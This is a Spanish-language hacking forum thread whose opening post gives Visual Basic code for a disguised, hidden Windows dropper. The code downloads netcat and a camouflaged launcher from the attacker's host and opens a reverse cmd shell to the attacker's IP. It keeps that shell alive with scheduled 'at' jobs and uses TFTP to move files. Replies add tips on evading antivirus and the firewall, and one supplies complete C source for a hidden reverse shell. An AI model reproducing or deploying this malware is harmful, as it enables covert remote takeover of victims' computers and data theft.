Obtener shell por medio de un ejecutable!!

Iniciado por ジ, 28 Julio 2006, 18:12 PM

0 Miembros y 1 Visitante están viendo este tema.

Buenas, le dejo un codigo mio que lo que hace es esto: al ser ejecutado el .exe, nos deja el terreno listo para una conexion inversa con netcat ( reverse shell ), no se registra la app con windows, simplemente ya vereis que no nos hace falta, sino: llegar a meternos en el sistema, dejar los files necesarios y dejar todo listo para tener la reverse shell con netcat, ya si quiereris hacer modoficaciones pues para que se registre con windows, o cheke si es un winxp/2k y dependiendo el caso se registre en otro sistema, pues muy bien son ideas, pongo el codigo y comento cada linea, salu2 y espero que les sirva como ejemplo!! ;)

Declaraciones:

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Const SW_NORMAL = 1
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long     'api necesaria para el descargar algo de internet

Option Explicit


en el evento load del formulario:

Private Sub Form_Load()
URLDownloadToFile 0, "http://usuarios.lycos.es/TU_USER/nc.exe", "C:\NC1.exe", 0, 0 'descargamos netcat desde nuestro host y lo ponemos en c:\ , el netcat para que pase muchisimo más desapersivido, pasale themida ;), que aunque pese 1mb, lo estamos descagarndo desde vb, no via navegador ;) y al descarga es algo más rapida y no visible ni x ventanas sino talvez por algunos fws, pero vereis que la mayoria de veces el netcat llegara a buen puerto, nod32 x ejemplo no me detectaba.
End Sub


timer con el que copiamos netcat a system32 o a donde quieras..mejor a system32 ;) ; tiene un intervalo de 45000 y esta en enabled = true

Private Sub Timer_copync_Timer()
On Error Resume Next
FileCopy "C:\NC1.exe", "C:\WINDOWS\system32\winnc.exe" 'copia el netcat a system32 en win xp
Timer_copync.Enabled = False
End Sub


el timer con el que vamos a ejecutar el nc con los parametros que queramos: ( de intervalo: 55000 y enabled = true )

Private Sub Timer_run_nc_Timer()
On Error Resume Next
Dim abrir As Long

URLDownloadToFile 0, "http://usuarios.lycos.es/TU_userNAME/wuauclt32.exe", "C:\wuauclt32.exe", 0, 0

abrir = ShellExecute(Me.hwnd, "Open", "C:\wuauclt32.exe", "", "", 1)
Timer_run_nc.Enabled = False
End Sub


pues lo que hace ese timer es tb descargar una app desde nuestro host y ejecutarla, que es esa aplicación ?? una app de no más de 2 lineas de codigo:

abrimos un nuevo projecto aparte de vb, y al form le damos esta propiedad: visible = false, un icono "camuflaje" y ya esta: luego en el form load:

on error resume next
Shell "cmd.exe  /c winnc -d -e cmd.exe túip puerto ", vbHide


y ya, compilamos con p-code paar que el peso sea lo más bajo posible, aunque ya lo va ser...fijate en que es mui poco el codigo..., luego subimos a nuestro host este ejecutable que sera quien ejecute nuestro netcat, tb Debes subir el netcat a tu host

tb decir que la otra aplicacion: la que vamos a enviar, ella se encarga de: descargar netcat, copiarlo ar directorio del sistema, descargar  la app que se encarga d ejecutarlo( en mi caso tiene este nombre:wuauclt32.exe  ) , pues esa tb tenemos que poner el formulario en visible = false, logico!!

y para los que querais tener la seguridad de tener esa maquina controlada con nuestro netcat, vamos a hacerle esto pues es opcional, puedes tb hacerlo desd la shell asi. at 20:30 /every:L,M,Mi,J,V,S,D winnc -d -e cmd.exe túip puerto   , con eso ya dejamos listo el netcat para que se ejecute con esa sintasis todos los dias de la semana ( L,M,Mi,J,V,S,D) a tal hora: 20:30 puse como ejemplo, podemos añadir mas horarios, las 24 horas de un día.

y de otro modo seria:

con un timer en nuestra app, más un bat ya programado con los horarios que queramos, ejemplo como puse: todos los dias ejecutamos netcat con esa sintasis, pero en ves de solo a las 20:30 , cada media hora: osea: 00:00, 00:30, 1:00, 1:30...y asi hasta que queramos, despues d tener el bat listo lo subimos a nuestro host.

timer_at_horarios_d_ejecución_Timer()
On Error Resume Next
Dim abrir As Long
URLDownloadToFile 0, "http://usuarios.lycos.es/tu_user/at.bat", "C:\at.bat", 0, 0

abrir = ShellExecute(Me.hWnd, "Open", "C:\at.bat", "", "", 1)

timer_at_horarios_d_ejecución.enabled = false
end sub


ese timer descarga de nuestro host un bat ya programado por nosotros anteriormente, con los horarios, dias y sintasis con las que se va a ejecutar netcat en nuestro sistema, de intervalo? ponle el que quieras: bueno mejor: minimo 1000( 1seg)

, luego si quieres podrias ponerle tb: para que se registre nuestra app con windows, que cheke si esun winxp o 2k y segun pues se copia y crea key con distintos nombres o no se copia etc, tb puedes, añadirle la funcion de que se agrege a la lista de programas permitidos por el fw d windows, tb con un bat que descarge nuestra app, tb ( ojo con esto ) desde que inicie la app con windows, x ejemplo porque no quieras iniciar el netcat con el comando at como explique, y pones timers date cuenta que en el proximo inicio d windows va a volver a ejeuctar todos los timers y repetir el mismo proceso..osea todo..descargar netcat, copiarlo...etc etc( segun lo que hayas puesto ) , pues para solucionar eso, basta con al final de cada timer como ejemplo pongo el primer timer:

Private Sub Timer_copync_Timer()
On Error Resume Next
FileCopy "C:\NC1.exe", "C:\WINDOWS\system32\winnc.exe" 'copia el netcat a system32 en win xp
Open "C:\chek_4_file_exist.xD" For Random As #1
Close #1 
Timer_copync.Enabled = False
End Sub



con esto: Open "C:\chek_4_file_exist.xD" For Random As #1
Close #1 

creamos un file en c:\ con ese nombre que nos va a servir para esto:

en el form:

Private Sub Form_Load()
URLDownloadToFile 0, "http://usuarios.lycos.es/TU_USER/nc.exe", "C:\NC1.exe", 0, 0
   
If Dir("C:\chek_4_file_exist.xD") <> "" Then
        '
       Timer_copync.Enabled = False
       
    Else
       
        Timer_copync.Enabled = True
       
    End If

'ahora con ese codigo en el form le decimos que si ese archivo existe no ejecute el timer de nuevo y si el file no existe pues si ejecutamos el timer
End Sub


solo decir tambien que si hace eso, los timers que tengan esas funciones, de descargar files, ejecutar un file, copiarse a systemfolder etc, Debes ponerlos en enabled = FALSE, para que cuando cheke si existe o no ese file, pues lo ponga en TRUE o deje en FALSE, ya estamos terminando y ahora para los que diran bueno y cuando tenga la shell que hago?

pues usa el comando --->  help

nociones básicas; cd.. para bajar de directorio, cd para esclar a un directorio ejemplos: estamos en: c:\documents and settings\tuUser\mis documentos> y quieres llegar a.. C:\ pues haces esto: cd.. + enter y estaras en:c:\documents and settings\tuUser> cd.. = c:\documents and settings>cd.. = C:\ ;)

quieres escalar de c:\ a documents and settings x ejemplo ?? pues: c:\> cd documents and settings = c:\documents and settings>  , con eso ya podras moverte por los directorios y curiosear ya luego demas comandos vete practicandolos help y tienes la ayuda, comando /? su ayuda, ya veras que es fácil ;)

y para quienes digan vale muchas gracias..pero ahora como subo y bajo archivos ??  :huh:

fácil, te bajas el server TFTP d solarwinds.net ( es free ), lo instalas, configuras, selecionas una carpeta donde vamos a depositar los archivos que queramos subir y donde alojar las descargas y cuando ya lo tengas eso vamos con las sintasis para upload & download ( NOTA: Debes tener abierto el puerto: 69 udp y sino es asi..abrelo )

dsd la shell de la maquina X ejecutamos para un upload : tftp.exe -i túip GET "h4ack.bat" c:\h4ackRecibed.bat

para un download:

tftp.exe -i túip PUT c:\documents and settings\user_pc_XX\documentos\h4ck.jpg "recibido_n_mi_compu.jpg"

y eso es todo, si se me ha escapado algo o algun fallo lo comentan para correjirlo, espero que les guste este codectutorial o como lo quieran llamar xD, son solo ideas, practica, no hagan mal con esta información yo no lo he escrito para eso, salu2 ;) by AililiA
el tiempo pondrá a cada uno en su lugar

Mad Antrax

La idea que propones es buena, pero en mi opinión no la has planteado de la manera más correcta, veamos:

Usas la API: URLDownloadToFileA del archivo urlmon.dll. Esta API es detectada y bloqueada por muchos antivirus. para solucionar este punto tenemos 2 opciones:

1) Renombrar urlmon.dll
Podemos hacer una función que copie esa dll y la renombre, para luego cargarla desde un declare y asi evitar la Heurística de los AV.

2) Evitar usar urlmon.dll
En tu proyecto, usas esa API para descargar el netcat, pero porque tenemos que descargar un archivo si podemos unirlo y anexarlo al EXE principal? (más adlenate lo explico)

Usas el control timer, esto tiene varios inconvenientes: En según que equipos el control timer relentiza muchisimo el sistema, aparte que los milisegundo que introducimos varían entre equipos.

==========================

Lo mejor (en mi opinión) es que consigas una reverse shell o bind shell de pocos bytes. La anexes al final de tu proyecto y en el momento de la ejecución del proyecto, separes el shell con la función 'split'. Este método te evita usar la api de urlmon, no usa timers (más estable), el ejecutable ocupará poquisimo. Y aparte podrás introducir scripts para saltar el firewall de windows xp o algunos AV's.

Ahora estoy liado con otros proyectos, pero en cuanto tenga tiempo te posteo el código de mi proyecto y me dices que te parece :)

Saludos: MadAntrax
No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.

_Sergi_

Citar
Lo mejor (en mi opinión) es que consigas una reverse shell o bind shell de pocos bytes. La anexes al final de tu proyecto y en el momento de la ejecución del proyecto, separes el shell con la función 'split'. Este método te evita usar la api de urlmon, no usa timers (más estable), el ejecutable ocupará poquisimo. Y aparte podrás introducir scripts para saltar el firewall de windows xp o algunos AV's.

La idea de .....::::G.T.S::::..... es buena y funcional, pero están los problemas que plantea MadAntrax. Yo particularmente creo que lo de renombrar la urlmon.dll es un poco bruto, y me decantaría por guardar una reverse shell al final del programa (si estás interesado en eso mírate el tutorial del Astaroth joiner) separarla, y ejecutarla.

Un saludo y buen trabajo a ambos.
Proyecto de Ingeniero

#3
Cierto madantrax, algunos avs detectan esto, pero te aseguro que de un buen % conseguimos la shell de este modo que he expuesto, es tan solo como dije un ejemplo..podriamos como dices tú mejorar el method, eso buscamos, la calidad, cuanto mejor sea nuestro metodo pues mejor, si, podrias poner el codigo que dices, no estaria de más ;) , se agradeceria por mi parte y seguro que por la de otros muchos tambien, lo de los timers, se que no es la mejor idea, si te fijas, por eso dije que no necesitamos que nuestra app se inicie con windows pues despues de ser eejcutada va hacer su trabajo y listo!! No la necesitamos para nada más, la idea de los timers la comente cuando dije: que si la ivas a registrar con windows, por qué ? pues porque si no haces eso de que cheke si dichos files existen..en el proximo inicio de nuestra app con windows va a volver a ejecutar esos timers y seguido: volver a descargar netcat, a copiarlo al systemfolder, registrarse..descargar los files..etc ( lo que ayas puesto dentro de timers ) de seguro habran más modos de hacerlo pero esa fue la que se me ocurrio de rapido cuando escribi el codigo, pues bueno eso es todo y decir que para los que tengais dudas de si funciona o no, pues chekadlo y vereis que obtendreis shell de la mayoria de maquinas, algunos fw cantaran y algun av, pero en mi caso tenia cuando escribi el codigo instalado nod32 y el x ejemplo ni se inmutaba, llegaba el netcat y demas files a la ruta que indique en el codigo :) , outpost x ejemplo..si canta y de seguro algunos más como ya dije, por todo lo demas creo que bien, salu2 y espero que me ayuden a mejorar este tutorial, no para mi, sino para todos nosotros interesados, ;) bye .
el tiempo pondrá a cada uno en su lugar

_Xerks_

#4
Hola a todos, excelente trabajo .....::::G.T.S::::..... aquí te dejo un pequeño código para conseguir esa reverse shell, una vez compilado ocupa pocos bytes.


#include <winsock2.h>
#include <stdio.h>
#include <windows.h>
#pragma comment(lib,"ws2_32")

int main(int argc, char *argv[])
{
    ShowWindow(GetForegroundWindow(),SW_HIDE);
    WSADATA wsaData;
    SOCKET hSocket;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    struct sockaddr_in addr;
    memset(&addr,0,sizeof(addr));
    memset(&si,0,sizeof(si));
    WSAStartup(MAKEWORD(2,0),&wsaData);
    hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(Puerto);
    addr.sin_addr.s_addr = inet_addr("Tu_ip");
    connect(hSocket,(struct sockaddr*)&addr,sizeof(addr));
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESTDHANDLES;
    si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
    CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi);
    ExitProcess(0);
}


Un salu2 amigo.  ;D

Hendrix

Seee......es muchisimo mas facil hacer nosotros de "netcat" que no tenerlo que descargar y todo eso.... ;) ;) ;)

En VB por ejemplo es facil, en C tambien....y en Pascal, si me das un tuto de sockets para pascal te lo ago en un plis (por cierto, creo que pesaria bastante poko).

Asi que mejor olvidarte del netcat creo... :-\ :-\

A este proyecto lo keria hacer yo hace unos dias (que se lo komente a Mad), pero no se.....te puedo dar ideas:

- FW Bypass (interesante para saltarnos el Firewall del XP)
- DLL inyection (interesante para saltarnos al 90% de los Firewalls)

Weno, te lo dejo puesto que es tu proyecto... ;) ;)

Salu2

"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián